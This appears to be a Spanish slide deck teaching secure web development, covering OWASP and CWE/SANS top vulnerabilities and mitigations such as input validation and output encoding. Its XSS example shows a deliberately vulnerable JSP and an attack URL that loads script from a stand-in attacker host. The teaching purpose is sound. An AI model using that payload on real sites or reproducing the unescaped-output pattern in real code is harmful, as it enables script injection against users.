Escolar Documentos
Profissional Documentos
Cultura Documentos
SECRETARA GENERAL
La vida digital
En la nube existe un mundo de informacin, con datos de empresas, cuentas bancarias, datos personales y todo tipo de datos delicados. Los proveedores de estos servicios deben incrementar la seguridad de sus aplicaciones.
Reflexin
Como usuario: Cunta informacin tienes en la nube? Crees que tus datos estn seguros? Confas en los proveedores de los servicios? Como administrador o desarrollador de un sitio Web: Qu tan seguras son tus aplicaciones? Qu tan protegidos estn los datos de tus usuarios?
A mi aplicacin no le va a pasar
No somos el objetivo de los atacantes
Algunas cifras
Red Host
Aplicacin
Lgica de presentacin Lgica de negocio Lgica de acceso a datos
CWE / SANS
Common Weakness Enumeration Lista de los errores de software ms comunes y crticos que pueden llevar a serias vulnerabilidades (de cualquier tipo, no slo Web) Publicada en 2011
OWASP TOP 10
Riesgos ms crticos a los que se enfrentan las aplicaciones Web
CWE/SANS TOP 25
Errores ms comunes y crticos
#1 #2 #3 #4 #5 #6 #7 #8 #9 #10 #11 #12 #13 #14 #15 #16 #17 #18 #19 #20 #21 #22 #23 #24 #25 CWE-89 CWE-78 CWE-120 CWE-79 CWE-306 CWE-862 CWE-798 CWE-311 CWE-434 CWE-807 CWE-250 CWE-352 CWE-22 CWE-494 CWE-863 CWE-829 CWE-732 CWE-676 CWE-327 CWE-131 CWE-307 CWE-601 CWE-134 CWE-190 CWE-759 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Improper Neutralization of Input During Web Page Generation ('Cross -site Scripting') Missing Authentication for Critical Function Missing Authorization Use of Hard-coded Credentials Missing Encryption of Sensitive Data Unrestricted Upload of File with Dangerous Type Reliance on Untrusted Inputs in a Security Decision Execution with Unnecessary Privileges Cross-Site Request Forgery (CSRF) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Download of Code Without Integrity Check Incorrect Authorization Inclusion of Functionality from Untrusted Control Sphere Incorrect Permission Assignment for Critical Resource Use of Potentially Dangerous Function Use of a Broken or Risky Cryptographic Algorithm Incorrect Calculation of Buffer Size Improper Restriction of Excessive Authentication Attempts URL Redirection to Untrusted Site ('Open Redirect') Uncontrolled Format String Integer Overflow or Wraparound Use of a One-Way Hash without a Salt
Con estas acciones se mitigan errores que incluso no estn en el top 25 de errores. Al adoptar estas mitigaciones las aplicaciones sern ms seguras.
Monster Mitigations
M1. Establece y mantn el control de todas tus entradas M2. Establece y mantn el control de todas tus salidas
M5. Usa funciones y libreras aceptadas por la industria en lugar de inventar propias
M4. Asume que los componentes externos pueden ser transgredidos y que cualquiera puede leer tu cdigo
Prcticas
Medida ms efectiva que sirve para defenderse de ataques comunes. Se refiere a revisar la validez de los datos antes de que sean procesados. Evita que entren datos maliciosos o incorrectos a la aplicacin. Previene el uso de datos maliciosos para la generacin de contenidos o comandos.
Nunca confes en el usuario. Considera todas las posibles entradas. Los atacantes pueden modificar la peticin HTTP (WebScarab, TamperData) Centraliza las validaciones. Siempre valida del lado del servidor. Usa validaciones de lista blanca. Evita validaciones de lista negra. Rechaza datos no vlidos.
Ejemplos
Tipo de dato, longitud, formato, rango. Uso de expresiones regulares. Reglas de negocio.
Prcticas
Medida ms efectiva para defenderse de Cross-site scripting. Se refiere a neutralizar los datos potencialmente peligrosos antes de utilizarlos en la generacin de contenidos. Evita el uso de datos maliciosos durante la generacin de contenidos o comandos.
Etiquetas de contenido HTML Atributos HTML Javascript CSS y la propiedad Style Parmetros URL XML
Ejemplos
& < > " ' / --> --> --> --> --> --> & < > " ' /
<script>
<script>
Ejemplo de XSS
err.jsp:
<% String errMsg = request.getParameter("msg"); %> Ocurri un error: <%= errMsg %>
http://sitio/err.jsp?msg=BLAH<script src="http://ev.il/xss.js"></script>
Prcticas
Definir y mantener una configuracin segura de la aplicacin, frameworks, libreras, servidor Web, base de datos y plataformas. Aplicar defensa en profundidad.
Aplica las actualizaciones y parches de software y libreras en todos los ambientes. Cambia o deshabilita las contraseas por default. No almacenes contraseas en texto claro dentro del cdigo o dentro de la BD. Configura y utiliza elementos con los menos privilegios posibles. Deshabilita o quita caractersticas o componentes innecesarios. Mantn por separado los privilegios de administrador. Falla de modo seguro sin exponer ms informacin que la necesaria.
M4. Asume que los componentes externos pueden ser transgredidos y que cualquiera puede leer tu cdigo
Por lo tanto:
No dependas de la seguridad por oscuridad. Siempre evala si el conocimiento de tu cdigo o diseo hace vulnerable a la aplicacin. Nunca confes en componentes externos, incluso si t los desarrollaste. An el cdigo compilado y/o ofuscado se puede leer. Cifra o encripta los datos sensibles.
No uses las funciones rand() que ofrecen los lenguajes, utiliza una funcin segura y estndar para generar la sal. Al cambiar la contrasea tambin debes cambiar la sal.
M5. Usa funciones y libreras aceptadas por la industria en lugar de inventar propias
Aplica en: Criptografa, autenticacin, autorizacin, aleatoriedad, manejo de sesin y registro de bitcoras. Investiga cules son los algoritmos ms seguros en la actualidad y utilzalos. Selecciona lenguajes, libreras o marcos de trabajo que faciliten el uso de esas caractersticas. Aljate de algoritmos secretos o propios.
Conclusiones
Incorpora la seguridad a lo largo de todo el ciclo de vida del desarrollo de software. Minimiza el rea de ataque. Aplica la defensa en profundidad. Utiliza diversos mtodos para detectar vulnerabilidades y prevenir riesgos. Mantente informado sobre los riesgos y vulnerabilidades existentes, el top 10 de OWASP es buena referencia.
Bruce Schneier
Referencias
OWASP
http://www.owasp.org Top 10
http://www.owasp.org/index.php/Top_10_2010
ESAPI
https://www.owasp.org/index.php/Category:OWASP_Enterprise_S ecurity_API/es
CWE / SANS
Top 25
http://cwe.mitre.org/top25/index.html
Referencias
Fundamental Practices for Secure Software Development http://www.safecode.org/publications/SAFEC ode_Dev_Practices0211.pdf